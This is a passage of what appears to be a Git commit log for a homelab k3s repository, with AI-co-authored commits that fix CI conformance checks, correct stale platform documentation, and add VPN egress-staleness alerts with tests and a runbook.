digest when the image is built; it is a one-line change to the pattern, reviewed in a PR,
which is where a change to a security boundary belongs.
NOT YET WIRED, deliberately: no runner image, no trigger kubeconfig, no CLUSTER_AVAILABLE.
The identities here are inert until those exist, and PR #12 makes CLUSTER_AVAILABLE=true
block rather than fake a green in the meantime.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
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jakman85andClaude Opus 5
|
e72050c690 |
docs: correct CI/platform documentation that was stale, wrong, or load-bearing
The 2026-09-29 session found the merge gate did not exist -- no branch protection, no runner -- while the tree asserted both. This corrects the documents that carried, and in several cases CAUSED, that belief. CLAUDE.md gains section 2b: never infer platform state from this repository. It carries the specific API and kubectl checks for protection, runners, CI status, workloads and Flux revisions, and the rule that a green tick is not proof anything ran (a skipped Gitea job reports success). This is the rule whose absence produced every other finding. .gitea/workflows/README.md and merge-gate.yaml both said "there is no remote git host, this file is dormant". Gitea had been live for weeks. Both were written as plans and never revisited once the plan completed. The Transition section is now marked COMPLETE and says what is genuinely still outstanding (CLUSTER_AVAILABLE unset, so L2/L3 never runs in CI). DECISIONS-LOG 2026-08-31 is annotated IN PLACE. Anyone reading chronologically previously hit "required status check; runner incluster-dind online" with nothing marking it false until a month later. The correction now sits on the bullet itself. ci/README.md, clusters/README.md and both conformance READMEs carry a status banner: they speak as though no cluster exists, which makes a live L2/L3 coverage gap read as an expected phase. That framing is why the gap went unexamined. apps/wave-1/gitea-actions-runner-secret.sops.yaml: fixed a wrong path, replaced advice to `sops -d` into a terminal (which CLAUDE.md forbids) with the rotation script, and recorded that a fresh token alone does not re-register a runner holding a stale /data/.runner. apps/wave-0/plex-claim-secret.sops.yaml: the header claimed the file ships the placeholder. It has not since the claim -- it holds the spent token, which is inert and deliberately left in place. catalog/plex.yaml and the plex secret both asserted a "~4-minute TTL" as fact. It was uncited, upstream documents no expiry, and it was the basis for a since-disproven claim that the pipeline was too slow to fit inside it. Measured: ~2m45s. Both .sops.yaml files were verified to still decrypt after the comment edits (`sops -d > /dev/null`), and render==golden confirms the catalog comment does not propagate into the rendered manifest. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
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jakman85andClaude Opus 5
|
712f4c9336 |
fix(conformance): "unit-tested" counted an alert MENTIONED in a comment as tested
alert-rules-unit-tested decided whether an alert had a unit test with a bare word
match over the whole test file. Any mention counted — including prose in a `#`
comment.
Hit for real while adding platform/monitoring/tests/vpn-egress.test.yaml. Its header
explains that VPNTunnelDown stays quiet during an egress-steering failure, and that
sentence alone made this check declare VPNTunnelDown "asserted on" and demand its
removal from UNTESTED_ALERTS. Removing the entry would have recorded coverage that did
not exist — the precise "looks fixed" outcome this check exists to prevent, produced
by the check itself. (In that instance I made the coverage real instead, which also
exposed that the fixtures were missing tun0's receive counter entirely.)
Now an alert counts only when a test file names it in an assertion position, with
comment lines stripped first so a commented-out assertion does not count either.
BOTH promtool idioms are accepted, because both are real assertions:
alert_rule_test: - alertname: CNPGPrimariesCoLocated
promql_expr_test: - expr: 'ALERTS{alertname="CNPGPrimariesCoLocated"}'
Matching only the first is not a stricter check, it is a WRONG one: it reported
CNPGPrimariesCoLocated as untested when platform/cnpg/alerts.promtool-test.yaml pins
it across four scenarios entirely through the second form. Believing that would have
produced a redundant duplicate test for an alert already covered better than most —
so the first version of this very fix had to be corrected before it landed.
MEASURED BEFORE LANDING, because the registers are shrink-only and a prose-only alert
would have required an entry this check forbids adding: of 61 alerts, 32 are asserted
in one of the two idioms, 29 are not mentioned at all (already declared), and ZERO were
prose-only. So this tightening failed nothing on the day it landed.
My first measurement said 31/30/0 and was wrong in a way worth recording: it scanned
only tests/*.test.yaml and missed the <manifest>.promtool-test.yaml companion
convention, which is exactly what hid the CNPGPrimariesCoLocated false negative.
Verified in both directions: 134 assertions pass with the real coverage intact, and a
temporary prose-only mention of NodeExporterDown (a registered untested alert) leaves
it correctly listed as untested instead of triggering the stale-entry failure.
Gated: offline l0,l1 --include-scope whole-repo — 24 cases, 0 failures, 0 skips,
0 unwired.
Co-Authored-By: Claude Opus 5 <[email protected]>
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jakman85andClaude Opus 5
|
a3f4ddb971 |
merge: feat/egress-gateway-staleness-alert — finished so it can actually pass the gate
Brings the two alerts for the silent egress-gateway failure: VPNEgressSteeringStale
(critical) and VPNEgressUplinkLabelMissing (warning), plus the kube-state-metrics
allowlist entry that makes them non-inert.
WHY THE BRANCH SAT IN THE BACKLOG: it could not pass the merge gate. Three
whole-repo checks failed on it, and each one was a real gap rather than a nuisance:
* alert-runbooks-resolvable — both alerts link to /runbooks/vpn-egress-stale,
which did not exist. An alert firing now would hand the operator a 404.
* alert-rules-unit-tested — alerts.yaml is already a covered file, so new rules
in it must be tested or a "tested" file quietly grows untested rules.
* alert-metrics-have-scrape-targets — see the guard bug below.
WHAT THE ALERTS CATCH. egress-class=vpn pods leave through one gateway node's tun0;
Cilium resolves it to an ifindex and caches it. An OpenVPN reconnect destroys and
re-creates tun0 with a NEW ifindex, and the node label
homelab.keithjackson.dev/egress-uplink=<addr>-<ifindex> is what forces Cilium to
re-resolve. If the label does not follow the tunnel, the cache points at a destroyed
interface and every vpn-class pod is silently dropped — while tun0 stays up and
VPNTunnelDown says nothing. That ran ~80 minutes undetected on the dev gateway.
Verified this is live on prod, not inert: k3s-prod-3 carries egress-gateway=true and
egress-uplink=10.150.192.86-139, and vpn-egress-steering has been in place 14 days.
The label was exported on 0 series before this change, so the allowlist entry is
what switches the alerts on.
runbooks/vpn-egress-stale.md — written and wired into the configMapGenerator, with
the four required operator sections. It leads with proving egress from a pod the
policy selects, because the symptom is "outbound traffic silently disappears", and
it says plainly not to "fix" this by deleting the policy: that does not restore
egress, it sends vpn-class traffic out of the real ISP connection, which is the leak
the class exists to prevent.
platform/monitoring/tests/vpn-egress.test.yaml — four promtool fixtures. 1 and 2 are
the SAME tunnel reconnect with and without the label following it, which isolates the
mechanism the rule actually keys on: a label VALUE change is not a changing sample,
it retires one series and starts another. 3 is the inert case (gateway node, no uplink
label) where the critical rule CANNOT fire, which is why the warning exists.
Two fixes the branch needed that were defects in the checks themselves:
1. alert-metrics-have-scrape-targets asserted the KSM allowlist matched
`nodes=[...egress-gateway]` with a literal closing bracket — i.e. that the list
contained EXACTLY that one label. Adding a second label correctly (egress-uplink,
which these alerts need) therefore FAILED the check while the property it guards
was perfectly satisfied. Loosened to `[,\]]`: in the list, not the whole list. A
guard that breaks when you correctly extend the thing it guards teaches people to
edit the guard, which is how it stops guarding.
2. UNTESTED_ALERTS listed VPNTunnelDown, and the check flagged it as stale because
"asserted on" is a bare word match over the test file — my header COMMENT
mentioning VPNTunnelDown was enough to count as coverage. Rather than delete the
register entry and claim coverage that did not exist, the fixtures now assert
VPNTunnelDown QUIET in all four cases. That required making them faithful: they
had no node_network_receive_bytes_total{device="tun0"} at all, so VPNTunnelDown
would have been firing throughout unnoticed, because promtool only checks the
alertnames you name. A healthy tun0 passes traffic, and that silence IS the claim
these rules exist for.
NOTE FOR LATER, not fixed here: that word-match means any alert named in prose counts
as tested. Tightening it to `alertname:` positions could reveal other prose-only
"coverage", and the register is shrink-only, so the cascade wants doing deliberately
rather than at 01:00 unattended.
Conflicts resolved: kept HEAD's Velero custom-resource-state block and took only the
branch's one-line allowlist change (14 lines down to 1); inserted the branch's
2026-09-12 DECISIONS-LOG entry in date order rather than appending it out of sequence.
Gated: offline l0,l1 --include-scope whole-repo — 24 cases, 0 failures, 0 skips,
0 unwired. The new unit tests pass under the pinned promtool 3.14.0.
Co-Authored-By: Claude Opus 5 <[email protected]>
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jakman85andClaude Opus 5
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755c08ab40 |
fix(conformance): the meta-check was layer-agnostic and reported failures silently
Declaring whole-repo scope on the L1 tests made whole-repo-invariants-wired (R-TEST-03) fail. It was right to change behaviour and wrong about why, and it could not tell anyone either way. Two independent defects. 1. LAYER-AGNOSTIC WHERE THE DESIGN IS LAYER-BOUNDED The "every scope-declared test is selected despite a requirement filter matching none" assertion compared EVERY scope-declaring dir against an `--layer l0` selection. That silently assumed only L0 tests would ever declare the scope — while ci/l1.sh was written from the opposite premise, that a whole-repo invariant could appear at any layer. So the first L1 declaration made the check blame the union for correctly excluding another layer. Now partitioned by layer, and the L1 half of the property is asserted too: every scope-declared L1 test must be selected by `--layer l1 --include-scope`, and that selection must not leak non-L1 tests. That is what makes the L1 declaration load-bearing rather than decorative — previously nothing proved the union reached L1 at all, because nothing at L1 declared the scope. 2. EVERY ASSERTION FAILED SILENTLY The idiom throughout was a bare test on one line and `chk $?` on the next, under `set -euo pipefail`. A false test aborts the script BEFORE chk can print, so the diagnostic — which is the entire value of this check — was never reached. The real failure above emitted 26 `ok` lines, rc=1, and no message at all; it read as a tooling glitch rather than a finding. All 12 assertion sites now capture the status (`chk $arc`) so the check reports and continues. Proven by forcing MIN_DECLARED=999 against the real check: the failure prints its full explanation and the run proceeds to the remaining assertions, where before it died mute. A meta-check that cannot say why it failed is worse than no meta-check. Verified: 35 assertions, rc=0; full offline l0,l1,meta 25 tests / 0 failures. Co-Authored-By: Claude Opus 5 <[email protected]> |
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jakman85andClaude Opus 5
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b389566641 |
fix(conformance): L1 rendering never ran on a requirement-scoped gate
All three L1 tests now declare `conformance.home.k3s/scope: "whole-repo"`.
ci/l1.sh has passed --include-scope whole-repo since it was written, with a
comment saying no L1 test declared the scope yet and it was wired ahead of time
so the next whole-repo invariant "at any layer" would be picked up by annotation
alone. Nothing ever declared it. The consequence is that the entire L1 rendering
layer only ran when a touched path happened to attribute R-PLAT-02, R-NET-01 or
R-NET-05/06/07 — a fail-open hole for every other change in the repo.
The coupling requirement-scoped selection cannot see is that all three tests
exercise ONE code path: catalog/render.py against
schemas/servicedefinition.schema.json. Anything that changes rendered output
invalidates these goldens no matter which requirement the touched path maps to.
The 2026-09-04 external-dns merge is the proof, measured rather than asserted.
ci/touched-requirements.sh attributes platform/externaldns/helmrelease.yaml to
R-ENV-02, R-OBS-01/02/04, R-STATE-03 and R-TEST-01/02/03/04 — none of the
rendering requirements — yet that change added
external-dns.alpha.kubernetes.io/controller: none
to the rendered output of all three goldens. Via --print-selection:
requirement-scoped only (the 2026-09-04 behaviour): 0 L1 tests selected
with --include-scope whole-repo (how ci/l1.sh runs): 3 L1 tests selected
So the merge gated GREEN while leaving every rendering golden stale, and the
staleness surfaced only on a later full run.
Also corrects the now-false comment in ci/l1.sh that said no L1 test declares the
scope, and records why the annotation is load-bearing there.
Verified: offline l0,l1,meta --include-scope whole-repo in the pinned toolbox —
25 tests, 0 failures, 0 errors, exit 0.
Co-Authored-By: Claude Opus 5 <[email protected]>
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jakman85andClaude Opus 5
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79c703bc79 |
fix(conformance): whole-repo checks audited nested agent worktrees as source
Six discovery sites walked ROOT without pruning dot-directories, so they descended into .claude/worktrees/agent-*/ — up to 18 full copies of the repo, created for isolated agent runs and gitignored (.gitignore:43). The visible half was false FAILs: four ServiceMonitors reported as selecting no Service, and nine PrometheusRule manifests reported as "under test but not in the repo", all of them worktree paths. The whole-repo L0 gate was red for reasons that had nothing to do with authored surface. The dangerous half is quieter. A check that asks "does anything in the repo declare X" can be satisfied by a worktree copy instead of real source, so the same bug that invents failures can also manufacture a pass. That is the reason to fix all six sites rather than only the ones that happened to be failing. egress-paths-selected-by-rules already had this fix and documents it (it once saw 5 CiliumEgressGatewayPolicy objects instead of the 1 authored); this applies the same dot-directory predicate everywhere else, which skips dot-DIRECTORIES while still matching dot-FILES such as .sops.yaml. platform/monitoring/tests/run.sh is the other side of the same failure: its `--list` reported each manifest once per worktree, and the L0 check compares that listing against the tree. Both find calls now prune .claude alongside .git. `--list` returns 21 real pairs where it previously returned them ~19x over. Verified in the pinned toolbox: L0 --include-scope whole-repo is 21 cases, 0 failures, 0 skips, 0 unwired (was 4 failures, then 1). L1 3/3. The 18 stale worktrees are all on already-merged branches and remain on disk; cleaning them up is a separate change and is no longer load-bearing for the gate. Co-Authored-By: Claude Opus 5 <[email protected]> |